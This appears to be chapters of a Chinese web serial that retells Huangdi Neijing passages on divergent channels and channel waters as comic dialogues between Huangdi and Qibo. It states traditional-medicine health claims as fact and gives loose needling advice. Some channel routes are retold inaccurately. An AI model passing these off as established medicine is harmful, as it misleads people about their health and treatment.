黄帝听得连连点头：“还真是，这经络的走向真是让人大开眼界。不过啊，岐伯，你说这经络到底有啥用呢？总不能光是为了好玩儿吧？” 岐伯正色道：“那当然不是。这经络啊，它可是咱们身体里气血运行的重要通道。它连接着咱们的五脏六腑，就像是高速公路一样，让气血能够顺畅地到达身体的每一个角落。而且啊，它还能调节咱们身体里的阴阳平衡，增强咱们的免疫力，让咱们少生病、多健康。” 黄帝一听，恍然大悟：“原来如此，这经络还真是咱们身体的守护神啊！那岐伯，你说咱们平时应该怎么保养这些经络呢？” 岐伯微微一笑：“保养经络啊，其实也不难。咱们平时可以多做一些拉伸运动，像是瑜伽啊、太极啊，这些都能很好地拉伸咱们的经络，让它们保持通畅。还有啊，多吃一些疏通经络的食物，像是山楂啊、黑木耳啊，这些都能帮助咱们清理经络里的垃圾。当然啦，最重要的还是要保持心情愉悦，心情好了，气血自然就顺畅了，经络也就跟着受益啦！” 经别篇第十一（二） 话说有一天，黄帝突发奇想，就像我们有时候突然对某个问题特别好奇一样，他问岐伯：“嘿，岐伯，你知道吗？我一直对那个‘一合’的道理挺感兴趣的。咱们中医理论里说的这个‘合’，到底是个啥玩意儿？能不能给我讲讲？” 岐伯一听，心里暗笑：“这黄帝老爷子，又想挖我肚子里的宝贝了。”但他表面还是一本正经地说：“黄帝，这事儿啊，说来话长。咱们先从足少阴肾经说起吧。” 黄帝一听，眼睛一亮：“哦？肾经？这我感兴趣！是不是跟壮阳补肾有关啊？” 岐伯差点没忍住笑出来：“咳咳，黄帝，咱们先不讲壮阳，咱们先说说经络。足少阴肾经啊，它有个正经，还有个别络。这个别络呢，就像肾经的小分队，它不走寻常路，跑到腘窝（就是膝盖后面的窝窝）那里，然后突然转了个弯，说走就走，投奔太阳膀胱经去了。它们俩在那里汇合了一下，就像老朋友见面，握了个手。” 黄帝听得津津有味：“哟，这还挺有意思的。那它们汇合之后呢？” 岐伯继续讲：“汇合之后啊，这足少阴肾经的别络并不满足于只在腘窝那里打个照面，它还继续往上窜，一直窜到肾上头。你知道吗？肾上头有个位置，大概在咱们背上的第十四椎那里，它就在那儿出了一道属带脉。带脉啊，就像一条腰带，把咱们的身体紧紧系住，让气血不乱跑。” 黄帝点了点头：“嗯，这个我知道，带脉嘛，不就是那个‘约束诸经’的家伙嘛。那足少阴肾经的别络跟它汇合，是不是就能加强约束作用了？” 岐伯竖了个大拇指：“黄帝果然聪明！不过啊，这足少阴肾经的别络还没完事儿呢。它还有一条直行的路线，不走弯路，直接从肾上头下来，系到舌根那里。然后，它又调皮地从舌根那里窜出来，跑到脖子上，跟太阳膀胱经再次汇合。这一来二去的，就算完成了一合的使命。” 黄帝听得目瞪口呆：“哇塞，这足少阴肾经的别络也太能跑了吧？简直就是经络界的马拉松选手啊！” 岐伯笑了笑：“可不是嘛。不过啊，黄帝，这还没完呢。你知道吗？在中医理论里，不光是足少阴肾经有别络，其他所有的阴经都有别络。这些别络啊，虽然名字上叫‘别’，但实际上都是正经的一部分，就像咱们家里的亲戚一样，虽然有的亲有的疏，但终究都是一家人。” 黄帝点了点头：“嗯，这个说法有意思。那这些别络跟咱们说的‘一合’有什么关系呢？” 岐伯耐心地解释：“关系大了去了。你想啊，这些别络在身体各处跑来跑去，跟不同的经络汇合，就像咱们在社交场合里跟不同的人打招呼一样。每一次汇合，都是一次交流，一次合作。而‘一合’呢，就是这些交流合作中的一个重要环节。它代表着不同经络之间的默契和协调，就像咱们团队合作一样，只有大家齐心协力，才能把事情办好。” 黄帝听得连连点头：“原来如此！看来咱们中医的经络理论还真是深奥啊。不过经过你这么一说，我感觉清晰多了。” 岐伯谦虚地说：“哪里哪里，黄帝过奖了。其实啊，咱们中医的理论虽然深奥，但都是来源于生活，服务于生活的。只要咱们用心去感受、去理解，就能发现其中的奥秘。” 说到这里，黄帝突然想起了什么：“对了岐伯，你刚才说足少阴肾经的别络系到舌根那里，那是不是意味着肾气跟咱们的舌头也有关系啊？” 岐伯点了点头：“没错！肾气充足的人，舌头一般都比较灵活，说话也利索。反过来呢，如果肾气不足，舌头就可能变得僵硬、不灵活，说话也可能含糊不清。所以啊，咱们中医看病的时候，经常会观察病人的舌头，通过舌头的变化来判断肾气的盛衰。” 黄帝听得连连称奇：“真是太神奇了！看来咱们中医还真是博大精深啊。” 岐伯笑了笑：“那是自然。不过啊，黄帝，咱们今天讲的这个‘一合’啊，只是中医经络理论里的冰山一角。要想真正了解中医的奥秘，还得下功夫学习才行。” 有一天，黄帝心血来潮，突发奇想，决定向岐伯请教一个深奥的问题。黄帝清了清嗓子，摆出一副求知若渴的样子，问道：“岐伯啊，我这心里头有个事儿，一直想不通，你能不能给我讲讲，啥是‘二合’的道理啊？” 岐伯一听，心里暗笑，这黄帝平时日理万机，怎么突然对中医经络理论感兴趣了？不过，他还是很认真地回答：“皇上啊，您问的这个‘二合’，可是个有趣的话题。咱们中医里头，经络学说博大精深，这‘二合’啊，就是其中的一个小秘密。” 黄帝一听，眼睛立马亮了起来，催促道：“快说说，快说说，别卖关子了。” 岐伯微微一笑，开始娓娓道来：“咱们先说这足少阳胆经的正脉吧。这胆经啊，它可不老实，从大腿外侧绕过来，一直溜达到腹股沟那儿，然后钻进毛际里头，跟足厥阴肝经来了个亲密接触，这就是它们第一次‘合体’啦！” 这章没有结束，请点击下一页继续阅读！ 黄帝一听，哈哈大笑：“这胆经还挺调皮的嘛，还知道搞个‘地下情’。” 岐伯也跟着笑了起来：“可不是嘛，这还没完呢。胆经的一部分啊，它还不走寻常路，非要拐个弯儿，跑到季胁之间，也就是咱们肋巴骨那儿溜达一圈儿，然后顺着胸腔里头，跟胆脏来了个亲密无间的大拥抱。这还不算，它还一路往上撒欢儿，穿过肝脏，直捣黄龙府——心脏！最后呢，它还绕到嗓子眼儿那儿，从腮帮子、下巴那儿钻出来，满脸都是它的足迹。尤其是眼睛那儿，它还特意跟足少阳胆经的外眼角分支来了个‘世纪大握手’，这才算是完成了它的使命。” 黄帝听得目瞪口呆：“这胆经也太能跑了吧，简直就是人体里的马拉松选手啊！” 岐伯点了点头：“没错，这胆经确实是个运动健将。不过，咱们还没说完呢。接下来，咱们再聊聊足厥阴肝经的正脉。这肝经啊，它就比较低调了，从脚上开始，悄悄地往上爬，一直爬到腹股沟那儿，跟胆经来了个‘二度合体’。然后啊，它就跟着胆经一起，继续往上溜达，俩人就像是一对形影不离的好朋友，一路同行。” 黄帝一听，恍然大悟：“哦，原来这就是‘二合’啊，就是这两条经络在人体里头搞了个‘二度合体’，还挺有意思的。” 岐伯笑了笑：“是啊，皇上。这‘二合’在中医经络学说里头，可是个重要的概念。它说明了咱们人体经络之间的相互联系和相互作用。就像咱们平时交朋友一样，得找个志同道合的，才能一起走下去嘛。” 黄帝一听，觉得很有道理，于是又问道：“那岐伯啊，这‘二合’对人体有啥好处呢？” 岐伯想了想，回答道：“这好处可多了去了。首先啊，它能帮助咱们调节气血，让气血在人体里头流通得更加顺畅。您想啊，这经络就像是咱们身体里的高速公路，气血就像是车流。如果高速公路畅通无阻，车流就能顺畅地行驶；如果高速公路堵了，车流就得滞留。这‘二合’啊，就像是高速公路上的立交桥，能让气血在经络之间自由穿梭，不堵车。” 黄帝一听，觉得十分新奇：“原来这经络还有这么神奇的作用啊！那岐伯啊，我平时应该怎么保养这些经络呢？” 岐伯想了想，回答道：“这保养经络啊，其实也不难。首先啊，您得保持良好的生活习惯，比如按时作息、合理饮食、适量运动等等。这些都能帮助咱们调节气血，让经络保持通畅。另外啊，您还可以尝试一些中医的养生方法，比如按摩、拔罐、刮痧等等。这些方法都能刺激经络，促进气血流通。” 黄帝一听，觉得很有道理，于是决定以后要好好保养自己的经络。 不过话说回来啊，这中医经络学说还真是挺有意思的。它不仅能解释咱们人体里头的奥秘，还能指导咱们怎么保养身体。就像咱们平时开车一样，得知道怎么保养车子才能让它开得更久更远。咱们的身体也是这样啊，得知道怎么保养经络才能让咱们活得更健康更长寿。 说到这儿啊，我突然想起一个笑话来。有一天啊，一个人去医院看病，医生给他检查了一番后说：“你这是经络不通啊，得好好保养。”那个人一听就急了：“经络不通？那我是不是得找个按摩师给我疏通疏通啊？”医生一听就笑了：“不用那么麻烦啦，你平时多走走路、跑跑步就行了。”那个人一听更急了：“走路跑步就能疏通经络啦？那我岂不是得跑成马拉松冠军才行啊？”医生一听就乐了：“也不用那么夸张啦，只要你平时多动动就行了。你这人啊，就是懒癌晚期啦！” 有一天，黄帝闲来无事，突然对身边的岐伯发起了学术攻击：“岐伯啊，我听说中医里头有个高大上的概念叫‘三合’，这玩意儿到底是咋回事儿？你给咱讲讲呗！” 岐伯一听，心想：这黄帝今儿个是咋啦？学术瘾犯了吗？不过既然大佬发问，咱得好好回答啊！于是，岐伯清了清嗓子，开始了他的爆笑讲解。 “哎呀，黄帝啊，您这问得可是深奥啊！不过呢，看在您这么求知若渴的份上，我就给您来个通俗易懂的版本吧！咱们先说说这‘足阳明之正’啊，它就像是胃大爷的一条私人高速路，从腿上髀关穴那儿开始，嗖嗖地就往肚子里窜，直接跟胃大爷挂钩了。然后呢，它还不忘跟脾小弟打个招呼，散点儿能量过去，算是礼尚往来吧！ “这还没完呢！足阳明之正这家伙野心可大了，它还想着往心脏老大那儿混呢！于是它又嗖嗖地往上窜，经过咽喉，从嘴里探出头来，好像在炫耀：‘看，我能到这么高的地方呢！’然后，它还不忘在鼻子上留个记号，再绕回来跟眼睛小弟拉拉关系，跟阳明经络合个影，证明自己真的到过这些地方。这一路走来，简直就是一场经络界的环球旅行嘛！” 黄帝一听，哈哈大笑：“岐伯啊，你这讲解真是绝了！原来足阳明之正这家伙还是个旅行爱好者啊！” 小主， 岐伯也跟着笑了起来：“黄帝大人，您过奖了！咱们接着说啊，这‘足太阴之正’呢，也是条不简单的经络。它从腿上髀关穴那儿跟足阳明之正汇合后，就一起上路了。它们俩就像是经络界的哼哈二将，形影不离啊！ “这足太阴之正呢，一路往上走，跟足阳明之正一起经过咽喉，然后它还特意钻到舌头里头去逛了一圈。您说这家伙是不是有点儿调皮？舌头可是咱们品尝美食的重要工具呢，它这么一去，是不是也想尝尝咱们每天吃的美食是啥味儿啊？哈哈！ “所以啊，这足阳明之正和足太阴之正这两条经络，它们在经过一系列的旅行和探险后，最终在咽喉、舌头这些地方汇合了，形成了咱们中医所说的‘三合’。这就像是一场经络界的盛宴，大家欢聚一堂，共同庆祝它们的相遇和合作呢！” 黄帝听完，笑得前仰后合：“岐伯啊，你这讲解真是太有趣了！原来中医的经络理论还可以这么讲啊！我以前怎么就没发现呢？” 岐伯微笑着说：“黄帝啊，中医理论博大精深，咱们得多角度、多层次地去理解和探索啊！就像这‘三合’理论，它不仅仅是经络之间的简单联系，更是咱们人体内部各种生理活动和病理变化的综合体现啊！ “您看，这足阳明胃经和足太阴脾经，它们在中医五行中分别属于阳土和阴土。阳土就像是个热情洋溢的小伙子，充满了活力和朝气；而阴土呢，就像是个温柔贤惠的小姑娘，细心地照料着周围的一切。它们俩一阴一阳、一刚一柔，相互配合、相互制约，共同维持着咱们人体的脾胃功能。 “而‘三合’呢，就像是它们俩合作的一个高峰时刻。在这个时刻里，它们不仅加强了彼此之间的联系和沟通，还促进了气血的运行和津液的代谢。这样一来，咱们的脾胃就更加健康了，吃嘛嘛香、身体倍儿棒啊！ “当然啦！这只是‘三合’理论的一个方面。在中医里，还有很多其他的理论和观点可以解释和阐述它。比如说，从经络循行的角度来看，‘三合’部位往往是经络气血汇聚的重要节点；从脏腑功能的角度来看，‘三合’部位又与多个脏腑的功能密切相关。所以啊，咱们要想真正理解和掌握‘三合’理论，还得多读书、多实践、多思考才行呢！” 经别篇第十一（三） 话说有一天，咱们的黄帝突发奇想，他决定向岐伯请教一个深奥的问题。黄帝清了清嗓子，摆出一副求知若渴的模样，问道：“岐伯啊，我这心里头一直有个疑惑，就是那个‘四合’的道理，您能给我讲讲不？” 岐伯老师一听，心里暗笑，这黄帝大佬平时忙于国事，难得有这么好学的时候。于是，他捋了捋长胡子，故作神秘地说：“哟，黄帝这是想学点真本事啦？行，那我就给你说道说道这‘四合’的事儿。” 岐伯清了清嗓子，开始了他的爆笑讲解：“首先啊，咱们得说说这手太阳小肠经的正脉。你看，这手太阳小肠经，它就像是一条调皮的小溪，从手上溜达到肩膀上，然后‘嗖’地一下钻进了腋窝里。它可不安分，还要一路往下走，直走到心里头，跟心脏成了好朋友。然后呢，它还牵着小肠的手，说：‘嘿，小肠老弟，咱俩以后就是一条绳上的蚂蚱啦！’所以啊，这就是手太阳小肠经的正脉，它跟心、小肠都有着不解之缘。” 黄帝一听，瞪大了眼睛，心想：“这经络学说还挺有意思的嘛！”于是他连忙点头，示意岐伯老师继续。 岐伯一看黄帝听得津津有味，心里那叫一个得意啊！他接着说道：“接下来咱们再说说这手少阴心经的正脉。这心经啊，它就像是心脏派出来的一个特使，专门负责心脏与外界的联络工作。它从心脏出发，一路向上，经过腋窝，钻进了渊腋两筋之间。你可别小看这个地方，它可是心经的重要通道呢！心经在这里稍作停留，然后又继续往上走，一直走到了喉咙口。它觉得这里风景不错，就探出头来，看了看外面的世界。然后呢，它还从脸上绕了一圈，最后跟眼睛的内眦合了影，留了个念。所以啊，这就是手少阴心经的正脉，它跟心、喉咙、脸、眼睛都有着千丝万缕的联系。” 黄帝一听，哈哈大笑：“岐伯，您这讲解真是太生动了！我算是明白了，这‘四合’就是指手太阳小肠经与心、小肠的合，以及手少阴心经与心、喉咙、脸、眼睛的合吧？” 岐伯一听，连连点头：“对对对，黄帝大佬就是聪明！不过啊，这‘四合’可不仅仅是这些表面的联系哦！它背后还隐藏着更深的奥秘呢！” 黄帝一听，更加好奇了：“哦？还有更深的奥秘？岐伯，您快给我讲讲！” 岐伯微微一笑，开始了他的深度揭秘：“其实啊，这‘四合’是中医经络学说中的一个重要概念。它不仅仅是指经络之间的相互连接和沟通，更是指人体内部各个脏腑器官之间的相互协调和配合。你看啊，这手太阳小肠经和心、小肠的合，它就像是一条生产线上的两个部门，一个负责生产（小肠吸收营养），一个负责质检（心脏泵血）。它们相互配合，共同维持着人体的生命活动。” “而手少阴心经呢？它就像是心脏这个总指挥部的通讯兵，负责将心脏的命令传达到全身各处。它跟喉咙、脸、眼睛的联系，就像是指挥部跟前线战士的联系一样重要。喉咙是发声的器官，可以传达心脏的情感和意愿；脸是表情的载体，可以反映心脏的情绪变化；眼睛是心灵的窗户，可以窥探心脏的内心世界。所以啊，这‘四合’不仅仅是经络之间的合，更是人体内部各个脏腑器官之间的和谐共生。” 黄帝一听，恍然大悟：“原来如此！岐伯，您这一番讲解真是让我受益匪浅啊！看来我以后得多向您请教请教才行！” 岐伯一听，笑得合不拢嘴：“黄帝客气了！咱们这可是互相学习嘛！不过啊，说到这经络学说，它可是咱们中医的瑰宝之一啊！要想真正掌握它，还得靠平时多实践、多积累才行。” 黄帝一听，连连点头：“对对对！岐伯老师说得对！我以后一定勤加练习，争取早日成为中医界的扛把子！” 岐伯一听，笑得眼泪都出来了：“哈哈哈……黄帝啊，你这志向可真是远大啊！不过啊，要想成为中医界的扛把子，光有志向可不行啊！还得有真才实学才行！” 黄帝一听，连忙点头：“是是是！岐伯老师教训的是！我以后一定努力学习，争取早日成为中医界的佼佼者！” 一个风和日丽、鸟语花香的日子里，咱们的黄帝突发奇想，决定向他的老搭档岐伯请教一个深奥的问题。黄帝清了清嗓子，一脸认真地问道：“岐伯啊，我一直对那个‘五合’的道理感到云里雾里的，你能不能给我讲讲？” 岐伯一听，心里暗笑：“这黄帝，真是个好学宝宝啊！”不过，他表面上还是一本正经地点点头，准备开始他的“经络大冒险”讲解。 “来来来，黄帝，咱们先把手少阳这条经络想象成一条通天的阶梯。”岐伯一边比划一边说道，“这手少阳啊，它的正经就像一根直指天际的天梯，从咱们的指尖出发，一路向上，直接冲到了头顶的巅顶之处。到了那里，它也不含糊，直接来个华丽转身，嗖的一下就钻进了咱们的缺盆，也就是咱们锁骨窝那地儿。” 黄帝听得一愣一愣的，心想：“这经络走得可真够溜的啊！” 岐伯继续讲道：“然后啊，这条经络就像个调皮的孩子，从缺盆里溜出来，一路向下，直奔咱们的三焦而去。三焦啊，那可是个神秘的地方，就像是咱们身体里的一个大仓库，啥东西都往里装。这手少阳经络一到三焦，就开始撒欢儿地散播它的能量，把整个胸腔都搞得暖暖的，舒服极了。” 黄帝听得连连点头，心里暗自佩服岐伯的讲解能力。 岐伯一看黄帝这表情，就知道自己讲到位了，于是更加卖力地继续讲解：“接下来，咱们再聊聊手心主之正这条经络。这条经络啊，它跟手少阳经络比起来，就像是个低调的隐士。它从咱们的渊腋穴，也就是腋下往前三寸的地方悄悄出发，然后一路潜入咱们的胸中，在那里默默地跟三焦打了个招呼，就好像是老朋友见面一样亲切。” 黄帝一听，不禁笑道：“这手心主之正还挺有礼貌的嘛！” 岐伯也跟着笑了起来：“是啊，黄帝，您可别小看这礼貌的打招呼。这一打招呼，手心主之正经络就开始发力了。它先是绕着三焦转了一圈，然后就像个探险家一样，一路向上，沿着咱们的喉咙，冲出了体外。您猜怎么着？它居然又从耳朵后面绕了回来，跟手少阳经络在完骨穴下面来了个亲密的拥抱！” 黄帝大爷一听，顿时眼睛一亮：“这不就是‘五合’吗？太神奇了！” 岐伯满意地点点头：“没错，黄帝，您真是聪明绝顶啊！这‘五合’啊，就像是经络们的一场奇妙聚会。手少阳和手心主之正这两条经络，在各自的旅途中，经历了无数的风景和挑战，最终在这里相遇、相拥，共同为咱们的身体保驾护航。” 黄帝听得如痴如醉，不禁感叹道：“岐伯啊，你这讲解真是太棒了！我以前总觉得经络这些东西太过抽象、难以理解，现在你这么一说，我感觉自己好像都能摸到它们的脉搏了！” 岐伯一听这话，心里那叫一个美啊！他笑着对黄帝大爷说：“黄帝，您这可是太高看我了。其实啊，经络这东西就像是咱们身体里的秘密通道，它们虽然看不见、摸不着，但却实实在在地存在着，为咱们的健康贡献着自己的力量。” 黄帝点了点头，然后突然话锋一转：“岐伯啊，你说这经络们是不是也像咱们人一样，有自己的性格和喜好呢？” 岐伯一听这话，顿时来了兴趣：“黄帝，您这想法可真够大胆的！不过嘛，仔细一想，好像还真有那么点道理。比如说这手少阳经络吧，它就像是个热情奔放的年轻人，总是充满活力和冲劲；而这手心主之正经络呢，则更像是个沉稳内敛的老者，总是默默地付出和奉献。” 有一天，咱们的黄帝，坐在龙椅上，眉头紧锁，一脸严肃地问岐伯：“岐伯啊，我这心里老有个疙瘩解不开，你说说，这‘六合’到底是个啥玩意儿？为啥大家都对它这么着迷呢？” 岐伯一听，嘿，这问题有意思，立马来了精神，他捋了捋长胡子，故作神秘地说：“哎呀，陛下啊，这‘六合’啊，可不是啥简单的玩意儿，它可是咱们人体经络里的大秘密呢！来来来，让我给您细细道来。” 黄帝一听，眼睛立马亮了，催促道：“快快快，别卖关子了，赶紧说！” 岐伯清了清嗓子，开始了他的经络探险之旅：“咱们先说这手阳明大肠经的正脉吧。您想啊，这大肠经啊，它可调皮了，从咱们的手上开始，一路狂奔，沿着胳膊内侧，直接冲到了胸口，哎呀，那叫一个刺激！到了胸口，它还不老实，非得拐个弯，从肩髃穴那里分出一条小路，悄悄溜进柱骨下面，然后悠哉游哉地走过大肠，最后跟咱们的肺来了个亲密拥抱。这还没完呢，它还得继续往上爬，顺着喉咙，嗖的一下，从缺盆穴那里探出头来，跟外面的阳明经汇合。您说，这大肠经是不是够忙活的？” 黄帝一听，哈哈大笑：“岐伯啊，你这说得跟武侠小说似的，大肠经都成探险家了！那手太阴肺经呢？它干啥去了？” 岐伯嘿嘿一笑：“陛下别急，这手太阴肺经啊，它也是个不安分的主儿。它从肺这里出发，悄悄溜进咱们的腋窝下面，少阴经的前面，然后跟大肠经玩起了捉迷藏，一会儿进一会儿出的。最后呢，它也顺着喉咙爬上来，跟外面的阳明经来了个二度握手，这，就是咱们说的‘六合’啦！” 黄帝一听，恍然大悟：“哦，原来如此！这‘六合’啊，就是大肠经和肺经这两条经络在人体内部的神秘交汇啊！” 岐伯点头如捣蒜：“对对对，陛下说得太对了！这‘六合’啊，可是咱们中医经络理论里的重要概念。您看，这人体啊，就像是一个大迷宫，经络就是里面的各种小路。这些小路啊，有的宽有的窄，有的直有的弯，但它们都有一个共同的特点，那就是都能把咱们身体里的气血啊、营养物质啊，运送到各个角落。而这‘六合’啊，就像是迷宫里的一个秘密通道，把大肠经和肺经这两条重要的经络连在了一起，让它们能够更好地协同工作，保证咱们身体的健康。” 黄帝一听，兴趣更浓了：“那岐伯啊，你说说，这‘六合’对人体到底有啥好处呢？” 岐伯一听，立马来了精神：“哎呀，陛下啊，这好处可多了去了！您看，这大肠经啊，它主要负责咱们身体的排泄功能，要是它不通畅了，那咱们就得便秘、腹胀啥的。而这肺经呢，它可是咱们呼吸系统的老大，要是它出了问题，那咱们就得咳嗽、气喘啥的。而这‘六合’啊，就像是它们之间的桥梁，让它们能够更好地沟通协作。这样一来，咱们的大肠就能顺顺当当地排便啦，咱们的肺也能痛痛快快地呼吸啦！您说，这好处大不大？” 黄帝一听，乐得合不拢嘴：“哈哈，岐伯啊，你这说得太对了！看来啊，咱们这人体啊，还真是处处都是宝啊！这经络啊，更是神奇得不得了！以后啊，我可得好好研究研究它们！” 岐伯一听，也笑了：“陛下啊，您说得太对了！这经络啊，确实是咱们中医的瑰宝。不过啊，研究它们可不容易啊，得下苦功夫才行呢！您看，我这研究了这么多年，也就才懂了个皮毛而已。” 黄帝一听，立马拍了拍岐伯的肩膀：“岐伯啊，你这话可就说错了！你这哪是懂了个皮毛啊，你这是已经深入骨髓了好不好！来来来，咱们再聊聊别的……” 经水篇第十二（一） 经水篇第十二（一） 话说有一天，黄帝闲来无事，就对岐伯说：“岐伯啊，咱俩聊聊那个经络的事儿吧。你说咱们人体有十二条经脉，它们在外面跟十二条大河对应着，在里面呢，又跟五脏六腑有着千丝万缕的联系。这十二条大河啊，有大有小，有深有浅，有宽有窄，离咱们也有远有近。再看看咱们的五脏六腑，嘿，位置有高有低，大小也不一样，吃下去的粮食呢，那更是有多有少。我就纳闷儿了，这经络和大河、五脏六腑之间，到底是怎么个对应法儿啊？” 岐伯一听，心里暗想：这黄帝陛下今儿个这是怎么啦？怎么对这事儿感兴趣了呢？不过既然陛下问了，那我就得好好回答。于是岐伯就说：“陛下啊，您这问题问得太好了！您想想看，那天上的高度，咱们没法儿量；那地有多大，咱们也没法儿测。这不就跟咱们人体一样嘛，生于天地之间，六合之内，那天的高、地的广，哪儿是咱们人力能丈量得出来的呢？” 黄帝一听，乐了：“哈哈，岐伯啊，你这是在夸我呢，还是在夸天地呢？不过你说得倒也在理，咱们人体确实是个小宇宙，跟天地对应着呢。” 岐伯接着说：“陛下，您看咱们普通人，八尺高的个子，那皮肉都在那儿摆着，咱们用手摸摸、量量，就能知道个大概。这人要是死了，咱们还能解剖开来，看个究竟。那五脏六腑的坚硬还是脆弱，六腑的大小，吃下去的粮食多少，经脉的长短，血的清浊，气的多少，这些啊，都有个定数。” 黄帝一听，更感兴趣了：“哦？还有这事儿？那你快说说，这十二条经脉，哪些是多血少气的，哪些又是少血多气的，还有哪些是血气都多或者都少的？” 岐伯一听，心说：这黄帝陛下今儿个是较上劲儿了，非得把这事儿问个明白不可。于是岐伯就耐心地解释起来：“陛下啊，这事儿说起来也简单。您看那手太阴肺经，那就是多气少血的；手阳明大肠经呢，就是多血多气的；足阳明胃经，也是多血多气的；足太阴脾经，那就是少血多气的……这十二条经脉啊，各有各的特点，也各有各的功能。” 黄帝一听，眼睛一亮：“哎呀，岐伯啊，你这么一说，我就明白了！那这些经脉要是出了问题，咱们针灸的时候，是不是也得根据它们的特点来呢？” 岐伯点了点头：“陛下说得没错。您看那针灸啊，刺得深浅，灸得壮数，那可都是有讲究的。比如说那手太阴肺经吧，要是出了问题，咱们针灸的时候，就得刺得浅点儿，灸得壮数也别太多；要是手阳明大肠经出了问题呢，那咱们就得刺得深点儿，灸得壮数也得多点儿。这啊，都得根据经脉的特点来。” 黄帝一听，高兴得直拍大腿：“哈哈，岐伯啊，你可真是我的知音啊！今儿个咱俩这一聊啊，我可是茅塞顿开啊！以后这针灸的事儿啊，我就更有信心了！” 岐伯一看黄帝这么高兴，心里也很高兴：“陛下啊，您这可是过奖了。咱们中医啊，讲究的就是个整体观念、辨证施治。您看这经络啊，它可不是孤立的，它是跟五脏六腑、四肢百骸都有着密切的联系的。所以咱们在治疗的时候啊，一定得全面考虑、综合分析才行。” 黄帝一听，连连点头：“对对对！岐伯啊，你这话说得太对了！以后啊，我就得按照你这个思路来治病救人！” 说到这里啊，黄帝突然话锋一转：“岐伯啊，你说咱们中医这经络理论啊，怎么这么神奇呢？它到底是怎么来的呢？” 岐伯一听这个问题啊，心里就有点儿犯嘀咕了：这黄帝陛下今儿个这是怎么啦？怎么净问些这么深奥的问题呢？不过既然陛下问了，那我就得好好回答。于是岐伯就说：“陛下啊，这事儿啊，说来话长了。您看咱们古人啊，那可是很聪明的。他们通过观察自然现象、人体变化啊，就慢慢地总结出了这套经络理论。这经络啊，它就像咱们人体的交通网络一样，把五脏六腑、四肢百骸都给联系起来了。所以咱们在治疗的时候啊，只要找准了经络上的穴位啊，那就能事半功倍了！” 黄帝一听啊，眼睛又亮了：“哎呀，岐伯啊，你这么一说啊，我就更明白了！这经络啊，它就像是咱们人体的导航系统啊！只要咱们跟着它走啊，那就能找到病根儿、治好病了！” 岐伯一听黄帝这么说啊，心里也很高兴：“陛下啊，您这可是说到点子上了！这经络啊，它就像是咱们人体的导航系统一样！只要咱们掌握了它啊，那咱们就能在治疗上如鱼得水、游刃有余了！” 黄帝某天闲来无事，就跟岐伯聊起了天。黄帝说：“岐伯啊，我听说了一些中医的道理，听起来耳朵倒是挺爽的，但心里却是雾里看花，完全不解其意啊！你能不能给我来个终极讲解，让我彻底明白？” 岐伯一听，嘿嘿一笑，说：“这事儿啊，得从头说起。咱们人呢，别看天天忙忙碌碌的，其实跟天地、阴阳的关系紧密着呢，简直就是天地间的‘小灵通’，阴阳变化的‘跟屁虫’。这里面的门道，不深究可不行哦！” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝一听，眼睛一亮，心想：这岐伯今儿个是要放大招啊，赶紧洗耳恭听！ 岐伯清了清嗓子，开始了他的爆笑中医大讲堂：“咱们先说天地吧。你看那天上的太阳、月亮、星星，地上的山川、河流、草木，这些都是大自然的杰作。它们可不是乱来的，都是有规律可循的。比如太阳每天东升西落，这就是天地间的阳气在运作；月亮呢，圆了又缺，缺了又圆，这就是阴气在捣鬼。咱们人呢，作为天地间的‘小灵通’，自然也得跟着这个节奏走。” 黄帝听得津津有味，点了点头，说：“嗯，这个我懂，就是天人合一嘛！” 岐伯竖起大拇指，说：“对头！天人合一，就是咱们中医的核心理念之一。再来说说阴阳吧。阴阳啊，就像咱们生活中的男女、白天黑夜、冷热寒暑一样，是相对的，也是互补的。咱们人的身体呢，也是个阴阳平衡的小宇宙。阴呢，就像是咱们身体里的水分、血液这些滋润的东西；阳呢，就像是咱们身体的热量、活力这些热腾腾的东西。阴阳平衡了，身体就健康；阴阳失衡了，身体就要出问题。” 黄帝一听，眉头一皱，说：“那要怎么保持阴阳平衡呢？” 岐伯哈哈一笑，说：“这事儿啊，说简单也简单，说难也难。简单呢，就是吃喝拉撒睡都得有规律，别暴饮暴食，也别熬夜加班；难呢，就是得有个好心态，别动不动就发火、生气，那样阳气太盛，阴气就受伤了。还有啊，中医里有很多调理阴阳的方法，比如针灸、拔罐、刮痧、吃中药等等，这些都是根据每个人的体质和病情来量身定制的。” 黄帝一听，恍然大悟，说：“原来如此啊！那岐伯啊，你能不能再给我讲讲中医里的五行呢？我听说五行也跟咱们身体有关系。” 岐伯点了点头，说：“行啊！五行啊，就是金、木、水、火、土这五种元素。你别看它们简单，其实它们之间相生相克，变化无穷。咱们中医呢，就把人体的五脏六腑、经络穴位等等都跟五行对应起来了。比如肝属木，心属火，脾属土，肺属金，肾属水。这样呢，就可以通过观察五脏六腑的变化来推断身体的状况了。” 黄帝一听，眼睛瞪得圆圆的，说：“这么神奇啊！那岐伯啊，你能不能给我举个例子呢？” 岐伯摸了摸下巴上的胡子，说：“行啊！比如说啊，有一个人老是觉得胸口闷、气短，那可能就是肺出了问题。肺属金嘛，金呢又怕火。那这个人呢，可能就是阳气太盛，把肺气给烧坏了。那怎么办呢？就得用点滋阴润肺的药来调理一下，让肺气恢复平衡。这样呢，胸口闷、气短的症状就会慢慢消失了。” 黄帝一听，哈哈大笑，说：“岐伯啊，你可真是个中医界的段子手啊！听你这么一讲，中医的原理我算是彻底明白了！” 岐伯也笑了，说：“黄帝啊，你可别夸我。中医这门学问啊，博大精深着呢！我讲的这些啊，只是冰山一角。要想真正学好中医啊，还得多读书、多实践、多思考才行呢！” 黄帝心血来潮，对着岐伯说：“岐伯啊，我这人吧，别的爱好没有，就喜欢探索人体的奥秘。今天，我特别想知道那个足太阳经到底是个啥玩意儿？能不能给我讲讲？” 岐伯一听，心里那个乐啊，心想：这黄帝还真是好学，连足太阳经这种高深莫测的东西都想了解。于是，岐伯清了清嗓子，开始他的“科普时间”。 “陛下啊，这足太阳经啊，外合于清水——当然了，这里的‘清水’可不是咱们喝的那种，而是指自然界的清气和水湿。它内属于膀胱，就像膀胱的‘贴身小秘书’，负责把膀胱里的水分啊、代谢物啊，通过一系列复杂的操作，给排出去。这，就是通水道的意思啦！” 黄帝一听，眉头微皱：“嗯，听起来是挺高大上的。不过，岐伯啊，你能不能再具体点？比如，这足太阳经上都有些啥穴位？它们都在哪儿？有啥作用？” 岐伯一看黄帝来了兴趣，立刻来了精神：“当然可以！这足太阳经啊，从头到脚，穴位众多，咱们就从头顶开始说起吧！” 